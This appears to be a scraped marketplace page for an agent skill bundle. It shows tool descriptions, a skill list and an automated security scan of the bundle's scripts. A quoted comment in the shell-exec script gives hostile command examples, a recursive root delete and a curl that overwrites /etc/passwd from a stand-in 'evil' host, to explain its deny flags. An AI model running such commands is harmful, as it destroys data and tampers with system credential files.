0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,326 bytesSKILL.mdcore1,326 bytesscripts/execute.pyruns871 bytes
Read SKILL.md
# Timezone Lookup
Convert a datetime between two IANA timezone identifiers
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHuburl-parse
When your agent uses it
Parse a URL and return its scheme, host, path, and query params
What it loads into context
Frontmatter
92 tokensAlways available to the agent
SKILL.md
316 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,327 bytesSKILL.mdcore1,327 bytesscripts/execute.pyruns513 bytes
Read SKILL.md
# Url Parse
Parse a URL and return its scheme, host, path, and query params
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubhttp-get
When your agent uses it
Perform an HTTP GET request and return the response body
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
304 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,305 bytesSKILL.mdcore1,305 bytesscripts/execute.pyruns2,257 bytes
Read SKILL.md
# Http Get
Perform an HTTP GET request and return the response body
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubhttp-post
When your agent uses it
Perform an HTTP POST with JSON body and return the response
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
309 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,335 bytesSKILL.mdcore1,335 bytesscripts/execute.pyruns1,900 bytes
Read SKILL.md
# Http Post
Perform an HTTP POST with JSON body and return the response
## Authority band
This tool runs under **L1** authority in the Custodian kernel. Trivial autonomous spend or free side-effect — no human approval required.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubnews-search
When your agent uses it
Search for recent news articles on a given topic
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
302 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,301 bytesSKILL.mdcore1,301 bytesscripts/execute.pyruns1,375 bytes
Read SKILL.md
# News Search
Search for recent news articles on a given topic
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubweb-scrape
When your agent uses it
Fetch and extract visible text from a web page URL
What it loads into context
Frontmatter
91 tokensAlways available to the agent
SKILL.md
312 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,309 bytesSKILL.mdcore1,309 bytesscripts/execute.pyruns2,354 bytes
Read SKILL.md
# Web Scrape
Fetch and extract visible text from a web page URL
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubweb-search
When your agent uses it
Search the web using DuckDuckGo and return top results
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
306 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Authority band
- Inputs
- Configuration
- Usage
- Custodian governance
Scripts executed separately
scripts/execute.py
Files
SKILL.mdcore1,309 bytesSKILL.mdcore1,309 bytesscripts/execute.pyruns1,374 bytes
Read SKILL.md
# Web Search
Search the web using DuckDuckGo and return top results
## Authority band
This tool runs under **L0** authority in the Custodian kernel. Read-only; no real-world effects — always autonomous.
## Inputs
| Parameter | Type | Required | Description |
|-----------|------|----------|-------------|
| (see execute.py for full schema) | | | |
View the complete source on GitHubSkills included
- anthropic-chat
- cohere-embed
- openai-chat
- replicate-run
- together-infer
- pagerduty-alert
- telegram-send
- twilio-voice-call
- calendar-create
- calendar-delete
- calendar-event-create
- calendar-event-list
- calendar-list
- calendar-update
- s3-delete
- s3-get
- s3-list
- s3-put
- discord-webhook
- email-send
- push-notification
- slack-channel-list
- slack-message
- sms-send
- webhook-post
- custodian-anchor
- custodian-status
- paladin-vault-list
- mongodb-find
- mysql-query
- postgres-query
- redis-delete
- redis-get
- redis-set
- design-impeccable
- design-taste
- docker-exec
- docker-list
- docker-logs
- docker-start
- docker-stop
- file-list
- file-read
- file-write
- shell-exec
- github-comment
- github-commit-list
- github-file-read
- github-issue-create
- github-issue-list
- github-pr-list
- github-release-create
- github-release-list
- github-repo-list
- kv-delete
- kv-get
- kv-list
- kv-set
- sqlite-query
- modal-deploy
- modal-function-list
- modal-invoke
- dns-lookup
- http-health-check
- ip-geolocation
- ping-host
- port-scan
- ssl-cert-check
- whois-lookup
- huggingface-infer
- nim-job-status
- nim-job-submit
- nim-model-list
- openai-complete
- stripe-spend
- cron-create
- cron-delete
- cron-list
- task-queue-add
- task-queue-list
- hmac-verify
- jwt-decode
- paladin-import
- secrets-scan
- stripe-balance
- stripe-charge-list
- stripe-customer-create
- stripe-customer-lookup
- stripe-invoice-send
- stripe-payout
- stripe-price-list
- stripe-refund-list
- stripe-subscription-cancel
- stripe-subscription-create
- base64-decode
- base64-encode
- currency-convert
- hash-sha256
- json-transform
- timezone-lookup
- url-parse
- http-get
- http-post
- news-search
- web-scrape
- web-search
Repository facts
- License
- MIT
- Created
- Jun 29, 2026
- Last pushed
- Aug 22, 2026
- Forks
- 24
- Open issues
- 0
- Project activity
- Slowing
Before you install
Network or broad shellAutomated signals, not a guarantee
Checked Nov 4, 2026
Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.
Show 63 notes
custodian/bundled_skills/calendar/calendar-event-create/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcustodian/bundled_skills/calendar/calendar-event-list/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcustodian/bundled_skills/communication/discord-webhook/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcustodian/bundled_skills/communication/email-send/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcustodian/bundled_skills/communication/push-notification/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcustodian/bundled_skills/communication/push-notification/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcustodian/bundled_skills/communication/push-notification/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcustodian/bundled_skills/communication/slack-channel-list/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcustodian/bundled_skills/communication/slack-message/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcustodian/bundled_skills/communication/sms-send/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcustodian/bundled_skills/communication/webhook-post/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcustodian/bundled_skills/docker/docker-exec/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcustodian/bundled_skills/docker/docker-list/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcustodian/bundled_skills/docker/docker-logs/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcustodian/bundled_skills/docker/docker-start/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcustodian/bundled_skills/docker/docker-stop/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcustodian/bundled_skills/files/file-list/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcustodian/bundled_skills/files/file-read/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcustodian/bundled_skills/files/file-write/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzedcustodian/bundled_skills/files/shell-exec/SKILL.md:1Analysis incomplete: Referenced executable target unavailable; not analyzed
- No broad tool permissions
- 1 dangerous shell commandin 1 file: shell-exec/scripts/execute.py:14
- 264 network referencesin 66 files: modal-invoke/scripts/execute.py:18 modal-deploy/scripts/execute.py:17 stripe-spend/scripts/_core.py:153 and 63 more
- 5 obfuscation signalsin 3 files: jwt-decode/scripts/execute.py:10 github-file-read/scripts/execute.py:13 base64-decode/scripts/execute.py:9
- No instruction overrides
- 115 executable scriptsin 115 files: anthropic-chat/scripts/execute.py:1 cohere-embed/scripts/execute.py:1 openai-chat/scripts/execute.py:1 and 112 more
- 117 references to secretsin 77 files: nim-job-status/scripts/execute.py:7 openai-complete/scripts/execute.py:5 stripe-spend/scripts/_core.py:21 and 74 more
- No requests to vote in Hot
Show all 502 signals by file
custodian/bundled_skills/ai/anthropic-chat/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 7
[Credential-related source omitted] - Access to secretsline 9
[Credential-related source omitted] - Network accessline 10
try: payload = json.dumps({"model": a.model, "max_tokens": 1024, "messages": [{"role": "user", "content": a.message}]}).encode() req = urllib.request.Request("https://api.anthropic.com/v1/messages", data=payload, - Network accessline 11
payload = json.dumps({"model": a.model, "max_tokens": 1024, "messages": [{"role": "user", "content": a.message}]}).encode() req = urllib.request.Request("https://api.anthropic.com/v1/messages", data=payload, headers={"x-api-key" - Network accessline 12
req = urllib.request.Request("https://api.anthropic.com/v1/messages", data=payload, - Network accessline 13
[Credential-related source omitted] - Network accessline 14
with urllib.request.urlopen(req, timeout=30) as r:
custodian/bundled_skills/ai/cohere-embed/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 7
[Credential-related source omitted] - Access to secretsline 9
[Credential-related source omitted] - Network accessline 10
try: payload = json.dumps({"texts": [a.text], "model": a.model, "input_type": "search_query"}).encode() req = urllib.request.Request("https://api.cohere.ai/v1/embed", data=payload, - Network accessline 11
[Credential-related source omitted] - Network accessline 12
req = urllib.request.Request("https://api.cohere.ai/v1/embed", data=payload, - Network accessline 13
[Credential-related source omitted] - Network accessline 14
with urllib.request.urlopen(req, timeout=15) as r:
custodian/bundled_skills/ai/openai-chat/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 8
[Credential-related source omitted] - Access to secretsline 10
[Credential-related source omitted] - Network accessline 11
try: payload = json.dumps({"model": a.model, "messages": [{"role": "system", "content": a.system}, {"role": "user", "content": a.message}]}).encode() req = urllib.request.Request("https://api.openai.com/v1/chat/completions", data=pa - Network accessline 12
payload = json.dumps({"model": a.model, "messages": [{"role": "system", "content": a.system}, {"role": "user", "content": a.message}]}).encode() req = urllib.request.Request("https://api.openai.com/v1/chat/completions", data=payload, - Network accessline 13
req = urllib.request.Request("https://api.openai.com/v1/chat/completions", data=payload, - Network accessline 14
[Credential-related source omitted] - Network accessline 15
with urllib.request.urlopen(req, timeout=30) as r:
custodian/bundled_skills/ai/replicate-run/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 7
[Credential-related source omitted] - Network accessline 11
inp = json.loads(a.input) payload = json.dumps({"version": a.model.split(":")[-1] if ":" in a.model else a.model, "input": inp}).encode() req = urllib.request.Request("https://api.replicate.com/v1/predictions", data=payload, - Network accessline 12
[Credential-related source omitted] - Network accessline 13
req = urllib.request.Request("https://api.replicate.com/v1/predictions", data=payload, - Network accessline 14
[Credential-related source omitted] - Network accessline 15
with urllib.request.urlopen(req, timeout=15) as r:
custodian/bundled_skills/ai/together-infer/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 7
[Credential-related source omitted] - Access to secretsline 9
[Credential-related source omitted] - Network accessline 10
try: payload = json.dumps({"model": a.model, "messages": [{"role": "user", "content": a.message}], "max_tokens": 512}).encode() req = urllib.request.Request("https://api.together.xyz/v1/chat/completions", data=payload, - Network accessline 11
payload = json.dumps({"model": a.model, "messages": [{"role": "user", "content": a.message}], "max_tokens": 512}).encode() req = urllib.request.Request("https://api.together.xyz/v1/chat/completions", data=payload, headers={"Auth - Network accessline 12
req = urllib.request.Request("https://api.together.xyz/v1/chat/completions", data=payload, - Network accessline 13
[Credential-related source omitted] - Network accessline 14
with urllib.request.urlopen(req, timeout=30) as r:
custodian/bundled_skills/alerts/pagerduty-alert/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 8
[Credential-related source omitted] - Access to secretsline 10
[Credential-related source omitted] - Network accessline 12
payload = json.dumps({"routing_key": key, "event_action": "trigger", "payload": {"summary": a.summary, "severity": a.severity, "source": a.source}}).encode() req = urllib.request.Request("https://events.pagerduty.com/v2/enqueue" - Network accessline 13
"payload": {"summary": a.summary, "severity": a.severity, "source": a.source}}).encode() req = urllib.request.Request("https://events.pagerduty.com/v2/enqueue", data=payload, headers={"Content-Type": "application/json"}) - Network accessline 14
req = urllib.request.Request("https://events.pagerduty.com/v2/enqueue", data=payload, - Network accessline 15
headers={"Content-Type": "application/json"}) with urllib.request.urlopen(req, timeout=10) as r: d = json.loads(r.read()) - Network accessline 16
with urllib.request.urlopen(req, timeout=10) as r:
custodian/bundled_skills/alerts/telegram-send/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 7
[Credential-related source omitted] - Network accessline 9
print(json.dumps({"ok": False, "stub": True, "tool": "telegram-send", "message": "Set TELEGRAM_BOT_TOKEN to enable"})); exit(0) try: url = f"https://api.telegram.org/bot{token}/sendMessage" - Network accessline 10
try: url = f"https://api.telegram.org/bot{token}/sendMessage" body = urllib.parse.urlencode({"chat_id": a.chat_id, "text": a.message}).encode() - Network accessline 11
url = f"https://api.telegram.org/bot{token}/sendMessage" body = urllib.parse.urlencode({"chat_id": a.chat_id, "text": a.message}).encode() req = urllib.request.Request(url, data=body) - Network accessline 12
body = urllib.parse.urlencode({"chat_id": a.chat_id, "text": a.message}).encode() req = urllib.request.Request(url, data=body) with urllib.request.urlopen(req, timeout=10) as r: - Network accessline 13
req = urllib.request.Request(url, data=body) - Network accessline 14
with urllib.request.urlopen(req, timeout=10) as r:
custodian/bundled_skills/alerts/twilio-voice-call/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 8
[Credential-related source omitted] - Access to secretsline 9
[Credential-related source omitted] - Access to secretsline 10
[Credential-related source omitted] - Access to secretsline 13
[Credential-related source omitted] - Network accessline 21
twiml = f"<Response><Say>{_xml_escape(a.message)}</Say></Response>" body = urllib.parse.urlencode({"To": a.to, "From": from_num, "Twiml": twiml}).encode() url = f"https://api.twilio.com/2010-04-01/Accounts/{sid}/Calls.json" - Network accessline 22
body = urllib.parse.urlencode({"To": a.to, "From": from_num, "Twiml": twiml}).encode() url = f"https://api.twilio.com/2010-04-01/Accounts/{sid}/Calls.json" creds = base64.b64encode(f"{sid}:{token}".encode()).decode() - Network accessline 23
[Credential-related source omitted] - Network accessline 24
[Credential-related source omitted] - Network accessline 25
[Credential-related source omitted] - Network accessline 26
with urllib.request.urlopen(req, timeout=15) as r:
custodian/bundled_skills/calendar/calendar-create/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 10
[Credential-related source omitted] - Network accessline 15
body = json.dumps({"summary": a.summary, "description": a.description, "start": {"dateTime": a.start, "timeZone": "UTC"}, "end": {"dateTime": a.end, "timeZone": "UTC"}}).encode() url = f"https://www.googleapis.com/calendar/v3/ca - Network accessline 16
"start": {"dateTime": a.start, "timeZone": "UTC"}, "end": {"dateTime": a.end, "timeZone": "UTC"}}).encode() url = f"https://www.googleapis.com/calendar/v3/calendars/{urllib.parse.quote(a.calendar_id)}/events" req = urllib.request.Re - Network accessline 17
url = f"https://www.googleapis.com/calendar/v3/calendars/{urllib.parse.quote(a.calendar_id)}/events" - Network accessline 18
[Credential-related source omitted] - Network accessline 19
with urllib.request.urlopen(req, timeout=10) as r:
custodian/bundled_skills/calendar/calendar-delete/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 7
[Credential-related source omitted] - Network accessline 9
print(json.dumps({"ok": False, "stub": True, "tool": "calendar-delete", "message": "Set GOOGLE_CALENDAR_TOKEN to enable"})); exit(0) try: url = f"https://www.googleapis.com/calendar/v3/calendars/{urllib.parse.quote(a.calendar_id)}/event - Network accessline 10
[Credential-related source omitted] - Network accessline 11
url = f"https://www.googleapis.com/calendar/v3/calendars/{urllib.parse.quote(a.calendar_id)}/events/{urllib.parse.quote(a.event_id, safe='')}" - Network accessline 12
[Credential-related source omitted] - Network accessline 13
with urllib.request.urlopen(req, timeout=10) as r:
custodian/bundled_skills/calendar/calendar-event-create/scripts/execute.py
custodian/bundled_skills/calendar/calendar-event-list/scripts/execute.py
custodian/bundled_skills/calendar/calendar-list/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 7
[Credential-related source omitted] - Network accessline 11
params = urllib.parse.urlencode({"maxResults": a.max_results, "singleEvents": "true", "orderBy": "startTime", "timeMin": __import__("datetime").datetime.now(__import__("datetime").timezone.utc).strftime("%Y-%m-%dT00:00:00Z")}) u - Network accessline 12
"timeMin": __import__("datetime").datetime.now(__import__("datetime").timezone.utc).strftime("%Y-%m-%dT00:00:00Z")}) url = f"https://www.googleapis.com/calendar/v3/calendars/{urllib.parse.quote(a.calendar_id)}/events?{params}" req = - Network accessline 13
url = f"https://www.googleapis.com/calendar/v3/calendars/{urllib.parse.quote(a.calendar_id)}/events?{params}" - Network accessline 14
[Credential-related source omitted] - Network accessline 15
with urllib.request.urlopen(req, timeout=10) as r:
custodian/bundled_skills/calendar/calendar-update/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 10
[Credential-related source omitted] - Network accessline 16
if a.start: patch["start"] = {"dateTime": a.start, "timeZone": "UTC"} if a.end: patch["end"] = {"dateTime": a.end, "timeZone": "UTC"} url = f"https://www.googleapis.com/calendar/v3/calendars/{urllib.parse.quote(a.calendar_id)}/event - Network accessline 17
if a.end: patch["end"] = {"dateTime": a.end, "timeZone": "UTC"} url = f"https://www.googleapis.com/calendar/v3/calendars/{urllib.parse.quote(a.calendar_id)}/events/{urllib.parse.quote(a.event_id, safe='')}" req = urllib.request.Requ - Network accessline 18
url = f"https://www.googleapis.com/calendar/v3/calendars/{urllib.parse.quote(a.calendar_id)}/events/{urllib.parse.quote(a.event_id, safe='')}" - Network accessline 19
req = urllib.request.Request(url, data=json.dumps(patch).encode(), method="PATCH", - Network accessline 20
[Credential-related source omitted] - Network accessline 21
with urllib.request.urlopen(req, timeout=10) as r:
custodian/bundled_skills/cloud/s3-delete/scripts/execute.py
custodian/bundled_skills/cloud/s3-get/scripts/execute.py
custodian/bundled_skills/cloud/s3-list/scripts/execute.py
custodian/bundled_skills/cloud/s3-put/scripts/execute.py
custodian/bundled_skills/communication/discord-webhook/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 6
[Credential-related source omitted] - Network accessline 11
if a.username: payload["username"] = a.username if a.embeds: payload["embeds"] = json.loads(a.embeds) r = requests.post(url, json=payload, timeout=10) - Network accessline 12
if a.embeds: payload["embeds"] = json.loads(a.embeds) r = requests.post(url, json=payload, timeout=10) print(json.dumps({"ok": r.status_code == 204, "tool": "discord-webhook", "status": r.status_code})) - Network accessline 13
r = requests.post(url, json=payload, timeout=10)
custodian/bundled_skills/communication/email-send/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 6
[Credential-related source omitted] - Access to secretsline 8
[Credential-related source omitted] - Network accessline 11
[Credential-related source omitted] - Network accessline 12
[Credential-related source omitted] - Network accessline 13
r = requests.post("https://api.sendgrid.com/v3/mail/send", json=payload, headers=headers, timeout=15)
custodian/bundled_skills/communication/push-notification/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 6
[Credential-related source omitted] - Network accessline 10
[Credential-related source omitted] - Network accessline 11
[Credential-related source omitted] - Network accessline 12
r = requests.post("https://fcm.googleapis.com/fcm/send", json=payload, headers=headers, timeout=10)
custodian/bundled_skills/communication/slack-channel-list/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 6
[Credential-related source omitted] - Network accessline 9
[Credential-related source omitted] - Network accessline 10
[Credential-related source omitted] - Network accessline 11
r = requests.get("https://slack.com/api/conversations.list", headers=headers, params={"limit": a.limit}, timeout=10)
custodian/bundled_skills/communication/slack-message/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 6
[Credential-related source omitted] - Network accessline 11
[Credential-related source omitted] - Network accessline 12
[Credential-related source omitted] - Network accessline 13
r = requests.post("https://slack.com/api/chat.postMessage", json=payload, headers=headers, timeout=10)
custodian/bundled_skills/communication/sms-send/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 6
[Credential-related source omitted] - Network accessline 8
[Credential-related source omitted] - Access to secretsline 8
[Credential-related source omitted] - Network accessline 9
try: r = requests.post(f"https://api.twilio.com/2010-04-01/Accounts/{sid}/Messages.json", data={"To": a.to, "From": fr, "Body": a.body}, auth=(sid, token), timeout=15) d = r.json() - Network accessline 10
r = requests.post(f"https://api.twilio.com/2010-04-01/Accounts/{sid}/Messages.json", data={"To": a.to, "From": fr, "Body": a.body}, auth=(sid, token), timeout=15)
custodian/bundled_skills/communication/webhook-post/scripts/execute.py
custodian/bundled_skills/database/mongodb-find/scripts/execute.py
custodian/bundled_skills/database/mysql-query/scripts/execute.py
custodian/bundled_skills/database/postgres-query/scripts/execute.py
custodian/bundled_skills/database/redis-delete/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 6
[Credential-related source omitted] - Network accessline 21
u = urllib.parse.urlparse(url) host, port = u.hostname or "localhost", u.port or 6379 s = socket.socket(); s.settimeout(5); s.connect((host, port)) - Network accessline 22
[Credential-related source omitted] - Network accessline 23
s = socket.socket(); s.settimeout(5); s.connect((host, port))
custodian/bundled_skills/database/redis-get/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 6
[Credential-related source omitted] - Network accessline 21
u = urllib.parse.urlparse(url) host, port = u.hostname or "localhost", u.port or 6379 s = socket.socket(); s.settimeout(5); s.connect((host, port)) - Network accessline 22
[Credential-related source omitted] - Network accessline 23
s = socket.socket(); s.settimeout(5); s.connect((host, port))
custodian/bundled_skills/database/redis-set/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 8
[Credential-related source omitted] - Network accessline 23
u = urllib.parse.urlparse(url) host, port = u.hostname or "localhost", u.port or 6379 s = socket.socket(); s.settimeout(5); s.connect((host, port)) - Network accessline 24
[Credential-related source omitted] - Network accessline 25
s = socket.socket(); s.settimeout(5); s.connect((host, port))
custodian/bundled_skills/design-impeccable/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/design-taste/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/docker/docker-exec/scripts/execute.py
custodian/bundled_skills/docker/docker-list/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/docker/docker-logs/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/docker/docker-start/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/docker/docker-stop/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3
custodian/bundled_skills/files/file-list/scripts/execute.py
custodian/bundled_skills/files/file-read/scripts/execute.py
custodian/bundled_skills/files/file-write/scripts/execute.py
custodian/bundled_skills/files/shell-exec/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 12
# passed straight through, so an otherwise-"safe" binary could still be used # to write files, exfiltrate data, or execute arbitrary commands (e.g. # `find / -delete`, `curl -o /etc/passwd http://evil`, `git push`). These - Network accessline 13
# to write files, exfiltrate data, or execute arbitrary commands (e.g. # `find / -delete`, `curl -o /etc/passwd http://evil`, `git push`). These # deny flags close that gap for the binaries where it matters most. - Dangerous shell operationline 14
# `find / -delete`, `curl -o /etc/passwd http://evil`, `git push`). These - Network accessline 14
# `find / -delete`, `curl -o /etc/passwd http://evil`, `git push`). These
custodian/bundled_skills/github/github-comment/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 16
BASE_URL = "https://api.github.com" - Access to secretsline 26
[Credential-related source omitted] - Network accessline 39
} url = f"{BASE_URL}/repos/{args.repo}/issues/{args.issue}/comments" resp = requests.post(url, headers=headers, json={"body": args.body}) - Network accessline 40
url = f"{BASE_URL}/repos/{args.repo}/issues/{args.issue}/comments" resp = requests.post(url, headers=headers, json={"body": args.body}) resp.raise_for_status() - Network accessline 41
resp = requests.post(url, headers=headers, json={"body": args.body})
custodian/bundled_skills/github/github-commit-list/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 8
[Credential-related source omitted] - Network accessline 10
print(json.dumps({"ok": False, "stub": True, "tool": "github-commit-list", "message": "Set GITHUB_TOKEN to enable"})); exit(0) try: url = f"https://api.github.com/repos/{a.repo}/commits?sha={a.branch}&per_page={a.limit}" - Network accessline 11
[Credential-related source omitted] - Network accessline 12
[Credential-related source omitted] - Network accessline 13
[Credential-related source omitted] - Network accessline 14
with urllib.request.urlopen(req, timeout=10) as r:
custodian/bundled_skills/github/github-file-read/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 7
[Credential-related source omitted] - Network accessline 8
[Credential-related source omitted] - Network accessline 9
[Credential-related source omitted] - Network accessline 10
r = requests.get(f"https://api.github.com/repos/{a.repo}/contents/{a.path}", params={"ref":a.ref}, headers=headers, timeout=10) - Possible obfuscationline 13
content = base64.b64decode(data["content"]).decode("utf-8","replace") if data.get("encoding")=="base64" else data.get("content","")
custodian/bundled_skills/github/github-issue-create/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 16
BASE_URL = "https://api.github.com" - Access to secretsline 27
[Credential-related source omitted] - Network accessline 45
payload["labels"] = [s.strip() for s in args.labels.split(",") if s.strip()] url = f"{BASE_URL}/repos/{args.repo}/issues" resp = requests.post(url, headers=headers, json=payload) - Network accessline 46
url = f"{BASE_URL}/repos/{args.repo}/issues" resp = requests.post(url, headers=headers, json=payload) resp.raise_for_status() - Network accessline 47
resp = requests.post(url, headers=headers, json=payload)
custodian/bundled_skills/github/github-issue-list/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 17
BASE_URL = "https://api.github.com" - Access to secretsline 27
[Credential-related source omitted] - Network accessline 40
} url = f"{BASE_URL}/repos/{args.repo}/issues" resp = requests.get( - Network accessline 41
url = f"{BASE_URL}/repos/{args.repo}/issues" resp = requests.get( url, - Network accessline 42
resp = requests.get(
custodian/bundled_skills/github/github-pr-list/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 16
BASE_URL = "https://api.github.com" - Access to secretsline 26
[Credential-related source omitted] - Network accessline 39
} url = f"{BASE_URL}/repos/{args.repo}/pulls" resp = requests.get( - Network accessline 40
url = f"{BASE_URL}/repos/{args.repo}/pulls" resp = requests.get( url, - Network accessline 41
resp = requests.get(
custodian/bundled_skills/github/github-release-create/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 10
[Credential-related source omitted] - Network accessline 13
try: payload = json.dumps({"tag_name": a.tag, "name": a.name or a.tag, "body": a.body, "draft": a.draft}).encode() req = urllib.request.Request(f"https://api.github.com/repos/{a.repo}/releases", data=payload, - Network accessline 14
payload = json.dumps({"tag_name": a.tag, "name": a.name or a.tag, "body": a.body, "draft": a.draft}).encode() req = urllib.request.Request(f"https://api.github.com/repos/{a.repo}/releases", data=payload, headers={"Authorization" - Network accessline 15
req = urllib.request.Request(f"https://api.github.com/repos/{a.repo}/releases", data=payload, - Network accessline 16
[Credential-related source omitted] - Network accessline 17
with urllib.request.urlopen(req, timeout=10) as r:
custodian/bundled_skills/github/github-release-list/scripts/execute.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 7
[Credential-related source omitted] - Network accessline 9
print(json.dumps({"ok": False, "stub": True, "tool": "github-release-list", "message": "Set GITHUB_TOKEN to enable"})); exit(0) try: url = f"https://api.github.com/repos/{a.repo}/releases?per_page={a.limit}" - Network accessline 10
[Credential-related source omitted] - Network accessline 11
[Credential-related source omitted] - Network accessline 12
[Credential-related source omitted] - Network accessline 13
with urllib.request.urlopen(req, timeout=10) as r:
